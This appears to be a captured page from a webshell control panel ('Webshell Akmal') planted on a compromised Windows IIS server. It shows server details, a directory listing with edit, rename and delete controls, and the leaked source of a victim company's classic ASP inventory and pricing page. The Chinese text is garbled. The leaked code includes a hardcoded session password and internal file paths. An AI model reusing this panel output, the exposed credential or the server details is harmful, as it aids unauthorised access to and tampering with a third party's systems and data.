Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</title> <% loginnumber=session("Webpassed") if loginnumber<>"%asc365com%" then response.End() end if %> </head> <body> <div align="center"> <% if session("asc365allpassword")<>"8879365" then response.end function Adddot(NUM) if isnumeric(NUM)=0 then NUM=0 if instr(NUM,".")=0 then NUM=NUM & ".00" else tem=split(NUM,".") if len(tem(1))<2 then tem(1)=tem(1) &"0" if len(tem(1))>2 then tem(1)=left(tem(1),2) NUM=tem(0) &"."& tem(1) end if if len(NUM)<4 then NUM="0" & NUM end if Adddot=NUM end function ID=trim(Request.Querystring("ID")) set fs=Server.CreateObject("Scripting.FileSystemObject") Dim QQ(50) 'QQ(50) ��Ʒ��ϸ Dim MM(16) '��Ʒ��� Dim Pro(50) Dim DL_CANADA(999,18) '0-����|1-��ƷӢ��������|2-��λ|3-ʵ�ʿ��ϼ�|4-ʵ�ʿ��_���ô�|5-ʵ�ʿ��_��ɼ�|6-ʵ�ʿ��_�¸绪|7-ʵ�ʿ��_�й���̨ '8-��;�ϼ�|9-��;_���ô�|10-��;_��ɼ�|11-��;_�¸绪|12-��;_�й���̨ '13-���۵���_���ô�|14-���۵���_��ɼ�|15-���۵���_�¸绪|16-���۵���_�й���̨|17-����1_����ü۸�ȡ��44|18-����2_�����ۼ۸� ȡ��32| '-------------------------------------------------- for i=0 to 999 for j=3 to 18 DL_CANADA(i,j)=0 next next '-------------------��ȡ��;��Ϣ------------------ Temp=Server.MapPath("..\..\Admin\ZT_CANADA.ss") '���ô�ASC���ʹ�˾���ô�����Ʒ����ѯ�ļ� If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) str=split(YY,"|") if left(str(0),3)=ID then i=right(str(0),3) DL_CANADA(i,9)=str(1)*1 end if loop f.Close: Set f=Nothing end if Temp=Server.MapPath("..\..\Admin\ZT_LOSUSA.ss") '���ô�ASC���ʹ�˾������ɼ���Ʒ����ѯ�ļ� If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) str=split(YY,"|") if left(str(0),3)=ID then i=right(str(0),3) DL_CANADA(i,10)=str(1)*1 end if loop f.Close: Set f=Nothing end if Temp=Server.MapPath("..\..\Admin\ZT_WGHCAN.ss") '���ô�ASC���ʹ�˾���ô��¸绪��Ʒ����ѯ�ļ� If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) str=split(YY,"|") if left(str(0),3)=ID then i=right(str(0),3) DL_CANADA(i,11)=str(1)*1 end if loop f.Close: Set f=Nothing end if Temp=Server.MapPath("..\..\Admin\ZT_YYTCHI_IN.ss") '���ô�ASC���ʹ�˾�й���̨��Ʒ����ѯ�ļ� If (fs.FileExists(Temp))=true then Set f=fs.OpenTextFile(Temp, 1) do while f.AtEndOfStream = false YY=Trim(f.ReadLine) str=split(YY,"|") if left(str(0),3)=ID then i=right(str(0),3) DL_CANADA(i,12)=str(1)*1 end if loop f.Close: Set f=Nothing end if 'Temp=Server.MapPath("..\..\Admin\ZT_MAMUSA.ss") '���ô�ASC���ʹ�˾���������ܲ�Ʒ����ѯ�ļ� 'If (fs.FileExists(Temp))=true then ' Set f=fs.OpenTextFile(Temp, 1) ' do while f.AtEndOfStream = false ' YY=Trim(f.ReadLine) ' str=split(YY,"|") ' if left(str(0),3)=ID then ' i=right(str(0),3) ' DL_CANADA(i,10)=str(1)*1 ' end if ' loop ' f.Close: Set f=Nothing 'end if '----------------ȡ�ü��ô�����������ɼ�����Ŀ¼---------------- 'If (fs.FileExists(Server.MapPath("../../Admin/"& ID & "/Productlist.inc")))=true then ' Set f=fs.OpenTextFile(Server.MapPath("../../Admin/"& ID & "/Productlist.inc"), 1) ' do while f.AtEndOfStream = false ' WW=trim(f.ReadLine) ' if left(WW,1)="@" then ' str=split(ww,"|") ' str(1)=trim(str(1)) ' if left(str(1),3)=ID then ' DL_CANADA(right(str(1),3),0)=str(1) ' end if ' end if ' loop ' f.Close ' Set f=Nothing 'end if for i=0 to 999 str=right("00"&i,3) Temp=server.MapPath("../../Admin/" & ID & "/" & str) if fs.FolderExists(Temp)=true then Temp1=server.MapPath("../../Admin/" & ID & "/" & str &"/Tech.inc") if (fs.FileExists(Temp1))=true then set f=fs.OpenTextFile(Temp1,1) j=0 do while f.AtEndOfStream=false Pro(j)=trim(f.ReadLine) j=j+1 if j>30 then exit do loop f.close :set f=nothing if Lcase(Pro(28))="y" then if Isnumeric(Pro(0))=true and len(Pro(0))=6 then DL_CANADA(right(Pro(0),3),0)= Pro(0) end if end if end if end if next '---------------------ȡ����-------------------- GGprice=Server.MapPath("../../TJGSCPXX/CPXX_" & ID & ".txt") If (fs.FileExists(GGPrice))=true then Set f=fs.OpenTextFile(GGprice, 1) do while f.AtEndOfStream = false YY=trim(f.ReadLine) str=split(YY,"|") if len(str(0))=6 and isnumeric(str(0)) then DL_CANADA(right(str(0),3),17)=str(15) '����44������ļ��ô�۸� end if loop f.Close: Set f=Nothing end if '----------------------------------------------------- for i= 0 to 999 if len(DL_CANADA(i,0))>0 then HH=left(DL_CANADA(i,0),3) LL=right(DL_CANADA(i,0),3) Tech=Server.MapPath("../../Admin/"& HH & "/"& LL &"/Tech.inc") '��Ʒ��ϸ for ii =0 to 27 QQ(ii)="" next If (fs.FileExists(Tech))=true then Set f=fs.OpenTextFile(Tech, 1) for ii =0 to 27 QQ(ii)=trim(f.ReadLine) 'ֻ��28�� next f.Close Set f=Nothing end if DL_CANADA(i,1)=QQ(1) '��Ʒ���� DL_CANADA(i,2)=QQ(4) '��Ʒ��λ '---------------------------------------------------------------------------------------------- If lcase(QQ(27))="y" then '-------------------���ô����Ŀ��------------------- Tech= Server.MapPath("../../Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ for jj =0 to 10 mm(jj)="" next jj=0 If (fs.FileExists(Tech))=true then Set f=fs.OpenTextFile(Tech, 1) do while f.AtEndOfStream = false mm(jj)=trim(f.ReadLine) jj=jj+1 if jj=11 then exit do 'ֻ��11�� loop f.Close Set f=Nothing ' if len(mm(1))=0 then mm(1)=0 if isnumeric(mm(1))=false then mm(1)=0 '��С��� ' if len(mm(2))=0 then mm(2)=0 if isnumeric(mm(2))=false then mm(2)=0 '���� ' if len(mm(3))=0 then mm(3)=0 if isnumeric(mm(3))=false then mm(3)=0 '�ܿ�� ' if len(mm(10))=0 then mm(10)=0 if isnumeric(mm(10))=false then mm(10)=0 '���� 'SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then DL_CANADA(i,4) = MM(3)*1-MM(10)*1-MM(2)*1 '���ô����ʵ�ʿ�� end if end if '-------------------������ɼ��Ŀ��---------------------- Tech= Server.MapPath("../../../ASC365_LOS/Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ for jj =0 to 10 mm(jj)="" next jj=0 If (fs.FileExists(Tech))=true then Set f=fs.OpenTextFile(Tech, 1) do while f.AtEndOfStream = false mm(jj)=trim(f.ReadLine) jj=jj+1 if jj=11 then exit do 'ֻ��11�� loop f.Close Set f=Nothing ' if len(mm(1))=0 then mm(1)=0 if isnumeric(mm(1))=false then mm(1)=0 '��С��� ' if len(mm(2))=0 then mm(2)=0 if isnumeric(mm(2))=false then mm(2)=0 '���� ' if len(mm(3))=0 then mm(3)=0 if isnumeric(mm(3))=false then mm(3)=0 '�ܿ�� ' if len(mm(10))=0 then mm(10)=0 if isnumeric(mm(10))=false then mm(10)=0 '���� 'SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then DL_CANADA(i,5) = MM(3)*1-MM(10)*1-MM(2)*1 '������ɼ�ʵ�ʿ�� end if end if '-------------------���ô��¸绪�Ŀ��---------------------- Tech= Server.MapPath("../../../ASC365_VAN/Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ for jj =0 to 10 mm(jj)="" next jj=0 If (fs.FileExists(Tech))=true then Set f=fs.OpenTextFile(Tech, 1) do while f.AtEndOfStream = false mm(jj)=trim(f.ReadLine) jj=jj+1 if jj=11 then exit do 'ֻ��11�� loop f.Close Set f=Nothing ' if len(mm(1))=0 then mm(1)=0 if isnumeric(mm(1))=false then mm(1)=0 '��С��� ' if len(mm(2))=0 then mm(2)=0 if isnumeric(mm(2))=false then mm(2)=0 '���� ' if len(mm(3))=0 then mm(3)=0 if isnumeric(mm(3))=false then mm(3)=0 '�ܿ�� ' if len(mm(10))=0 then mm(10)=0 if isnumeric(mm(10))=false then mm(10)=0 '���� 'SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then DL_CANADA(i,6) = MM(3)*1-MM(10)*1-MM(2)*1 '������ɼ�ʵ�ʿ�� end if end if '-------------------�й���̨�Ŀ��---------------------- Tech= Server.MapPath("../../../ASC365_YYT/Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ for jj =0 to 10 mm(jj)="" next jj=0 If (fs.FileExists(Tech))=true then Set f=fs.OpenTextFile(Tech, 1) do while f.AtEndOfStream = false mm(jj)=trim(f.ReadLine) jj=jj+1 if jj=11 then exit do 'ֻ��11�� loop f.Close Set f=Nothing ' if len(mm(1))=0 then mm(1)=0 if isnumeric(mm(1))=false then mm(1)=0 '��С��� ' if len(mm(2))=0 then mm(2)=0 if isnumeric(mm(2))=false then mm(2)=0 '���� ' if len(mm(3))=0 then mm(3)=0 if isnumeric(mm(3))=false then mm(3)=0 '�ܿ�� ' if len(mm(10))=0 then mm(10)=0 if isnumeric(mm(10))=false then mm(10)=0 '���� 'SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then DL_CANADA(i,7) = MM(3)*1-MM(10)*1-MM(2)*1 '������ɼ�ʵ�ʿ�� end if end if ' '-------------------���������ܵĿ��---------------------- ' Tech= Server.MapPath("../../../ASC365_USA/Admin/"& HH & "/"& LL &"/Store.inc") '��ȡ�ֿ���Ϣ ' for jj =0 to 10 ' mm(jj)="" ' next ' jj=0 ' If (fs.FileExists(Tech))=true then ' Set f=fs.OpenTextFile(Tech, 1) ' do while f.AtEndOfStream = false ' mm(jj)=trim(f.ReadLine) ' jj=jj+1 ' if jj=11 then exit do 'ֻ��11�� ' loop ' f.Close ' Set f=Nothing '' if len(mm(1))=0 then mm(1)=0 ' if isnumeric(mm(1))=false then mm(1)=0 '��С��� '' if len(mm(2))=0 then mm(2)=0 ' if isnumeric(mm(2))=false then mm(2)=0 '���� '' if len(mm(3))=0 then mm(3)=0 ' if isnumeric(mm(3))=false then mm(3)=0 '�ܿ�� '' if len(mm(10))=0 then mm(10)=0 ' if isnumeric(mm(10))=false then mm(10)=0 '���� ' 'SJKC=0 'ʵ�ʿ�� = �ܿ��-����-���� ' if isnumeric(mm(3))=true and isnumeric(MM(10)) and isnumeric(MM(2))=true then ' DL_CANADA(i,6) = MM(3)*1-MM(10)*1-MM(2)*1 '����������ʵ�ʿ�� ' end if ' end if p4=0 p6=0 p9=0 ' '----------------------------------------- GGprice=Server.MapPath("../../Admin/"& HH & "/"& LL &"/GGPrice.inc") If (fs.FileExists(GGPrice))=true then Set f=fs.OpenTextFile(GGprice, 1) P0=trim(f.ReadLine) 'code P1=trim(f.ReadLine) '������ P2=trim(f.ReadLine) '��С������ P3=trim(f.ReadLine) '���� P4=trim(f.ReadLine) '����US$ if isnumeric(p4)=false then p4=0 P5=trim(f.ReadLine) '����------------------ P6=trim(f.ReadLine) '���------------------ if isnumeric(p6)=false then p6=0 P7=trim(f.ReadLine) '��λ P8=trim(f.ReadLine) '��վ����--------------- P9=trim(f.ReadLine) '����RMB if isnumeric(p9)=false then p9=0 ' P10=trim(f.ReadLine) '����ע ' P11=trim(f.ReadLine) '��ע-------------------- f.Close: Set f=Nothing ' if len(p5)=0 then p5=0 ' CKJ="" ' if isnumeric(p5)=true and isnumeric(p4)=true then CKJ= Round(p5 * p4,2) end if '----------------------------------------- DL_CANADA(i,13)=p6 '���ô�������$ DL_CANADA(i,14)=p6 '������ɼ����$ DL_CANADA(i,15)=p6 '���ô��¸绪���$ DL_CANADA(i,16)=p6 '�й���̨���$ 'DL_CANADA(i,17)=p4 '����$ DL_CANADA(i,18)=p9 '����RMB '----------------------------------------- ' GGprice=Server.MapPath("../../../ASC365_USA/Admin/"& HH & "/"& LL &"/GGPrice.inc") ' If (fs.FileExists(GGPrice))=true then ' Set f=fs.OpenTextFile(GGprice, 1) ' P0=trim(f.ReadLine) 'code ' P1=trim(f.ReadLine) '������ ' P2=trim(f.ReadLine) '��С������ ' P3=trim(f.ReadLine) '���� ' P4=trim(f.ReadLine) '����US$ ' if isnumeric(p4)=false then p4=0 ' P5=trim(f.ReadLine) '����------------------ ' P6=trim(f.ReadLine) '���------------------ ' if isnumeric(p6)=false then p6=0 ' P7=trim(f.ReadLine) '��λ ' P8=trim(f.ReadLine) '��վ����--------------- ' P9=trim(f.ReadLine) '����RMB ' if isnumeric(p9)=false then p9=0 '' P10=trim(f.ReadLine) '����ע '' P11=trim(f.ReadLine) '��ע-------------------- ' f.Close: Set f=Nothing '' if len(p5)=0 then p5=0 '' CKJ="" '' if isnumeric(p5)=true and isnumeric(p4)=true then CKJ= Round(p5 * p4,2) ' end if ' DL_CANADA(i,13)=p6 '�������������$ else DL_CANADA(i,0)="" end if end if next %> <font color="#FF0000"><b><span style="font-size: 18pt">���ô�ASC���ʹ�˾���ͳ��</span></b></font> <br> <br> <table border="1" width="1240" height="20" bordercolor="#f0f0f0" style="border-collapse: collapse"> <tr> <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">���</td> <td height="20" width="80" bgcolor="#DDDDDD" align="center" rowspan="2">��Ʒ����</td> <td height="20" width="300" bgcolor="#DDDDDD" align="center" rowspan="2">��Ʒ����</td> <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">��λ</td> <td height="20" width="300" bgcolor="#DDDDDD" align="center" colspan="5">ʵ�ʿ��</td> <td height="20" width="300" bgcolor="#DDDDDD" align="center" colspan="5">��;����</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">���۵���$</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">����1</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">����2</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">�ܼ�</td> </tr> <tr> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�ϼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">���ô�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">��ɼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�¸绪</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�� ̨</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�ϼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">���ô�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">��ɼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�¸绪</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�� ̨</td> </tr> <% k=0 totalmoney=0 for i=0 to 999 if len(DL_CANADA(i,0))>0 then k=k+1 DL_CANADA(i,3)=DL_CANADA(i,4)*1+DL_CANADA(i,5)*1+DL_CANADA(i,6)*1+DL_CANADA(i,7)*1 DL_CANADA(i,8)=DL_CANADA(i,9)*1+DL_CANADA(i,10)*1+DL_CANADA(i,11)*1+DL_CANADA(i,12)*1 for j=13 to 18 DL_CANADA(i,j)=Adddot(DL_CANADA(i,j)) next for j=3 to 18 if DL_CANADA(i,j)=0 then DL_CANADA(i,j)="" next %> <tr> <td height="20" width="40" align="center"><%=k%></td> <td height="20" width="80" align="center"><%=DL_CANADA(i,0)%></td> <td height="20" width="300" align="left"><%=DL_CANADA(i,1)%></td> <td height="20" width="40" align="center"><%=DL_CANADA(i,2)%></td> <td height="20" width="60" bgcolor="#EEFFFF" align="right"><%=DL_CANADA(i,3)%></td> <td height="20" width="60" bgcolor="#EEFFFF" align="right"><%=DL_CANADA(i,4)%></td> <td height="20" width="60" bgcolor="#EEFFFF" align="right"><%=DL_CANADA(i,5)%></td> <td height="20" width="60" bgcolor="#EEFFFF" align="right"><%=DL_CANADA(i,6)%></td> <td height="20" width="60" bgcolor="#EEFFFF" align="right"><%=DL_CANADA(i,7)%></td> <td height="20" width="60" bgcolor="#FFFFEE" align="right"><%=DL_CANADA(i,8)%></td> <td height="20" width="60" bgcolor="#FFFFEE" align="right"><%=DL_CANADA(i,9)%></td> <td height="20" width="60" bgcolor="#FFFFEE" align="right"><%=DL_CANADA(i,10)%></td> <td height="20" width="60" bgcolor="#FFFFEE" align="right"><%=DL_CANADA(i,11)%></td> <td height="20" width="60" bgcolor="#FFFFEE" align="right"><%=DL_CANADA(i,12)%></td> <td height="20" width="60" bgcolor="#FFEEFF" align="right"><%=DL_CANADA(i,13)%></td> <td height="20" width="60" align="right"><%=DL_CANADA(i,17)%></td> <td height="20" width="60" align="right"><%=DL_CANADA(i,18)%></td> <% if Isnumeric(DL_CANADA(i,3))=false then DL_CANADA(i,3)=0 end if if Isnumeric(DL_CANADA(i,8))=false then DL_CANADA(i,8)=0 end if if Isnumeric(DL_CANADA(i,17))=false then DL_CANADA(i,17)=0 end if %> <td height="20" width="60" align="right"><%=DL_CANADA(i,17)*(CInt(DL_CANADA(i,3))+CInt(DL_CANADA(i,8)))%></td> <% totalmoney=totalmoney+DL_CANADA(i,17)*(CInt(DL_CANADA(i,3))+CInt(DL_CANADA(i,8))) %> </tr> <% end if next %> <tr bgcolor="#D5D5D5"> <td colspan="17" align="right">�ϼ�:</td> <td><%=totalmoney%></td> </tr> <tr> <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">���</td> <td height="20" width="80" bgcolor="#DDDDDD" align="center" rowspan="2">��Ʒ����</td> <td height="20" width="300" bgcolor="#DDDDDD" align="center" rowspan="2">��Ʒ����</td> <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">��λ</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�ϼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">���ô�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">��ɼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�¸绪</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�� ̨</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�ϼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">���ô�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">��ɼ�</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�¸绪</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center">�� ̨</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">���۵���$</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">����1</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">����2</td> <td height="20" width="60" bgcolor="#DDDDDD" align="center" rowspan="2">�ܼ�</td> </tr> <tr> <td height="20" width="300" bgcolor="#DDDDDD" align="center" colspan="5">ʵ�ʿ��</td> <td height="20" width="300" bgcolor="#DDDDDD" align="center" colspan="5">��;����</td> </tr> </table> <br> <% Set fs=Nothing %> </div> </body> </html>